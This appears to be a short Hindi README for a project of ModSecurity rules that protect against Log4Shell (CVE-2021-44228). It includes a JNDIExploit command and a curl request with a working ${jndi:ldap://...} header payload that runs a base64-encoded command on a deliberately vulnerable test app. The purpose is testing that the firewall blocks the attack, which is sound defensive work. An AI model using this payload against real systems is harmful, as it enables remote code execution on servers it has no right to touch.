felipe8398/modsec-log4j2log4j2 सुरक्षा के लिए ModSec नियम - CVE-2021-44228
docker stack deploy -c docker-compose.yml WAF
java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888
curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
1- कैसे पता करें कि मेरा WAF और कमजोर WEB एप्लिकेशन ऊपर आ गया है?
चलाएँ docker service ls , और जाँचें कि दो सेवाएँ हैं जिनमें से प्रत्येक में एक प्रतिकृति है।
2- modsec का लॉग कैसे प्राप्त करें?
चलाएँ docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log
3- कैसे जाँचें कि RCE सफल नहीं हुआ?
हमने जो curl का उपयोग किया है वह tmp के अंदर pwned नामक फ़ाइल बनाता है, इसलिए हमें निम्नलिखित चलाना होगा
docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp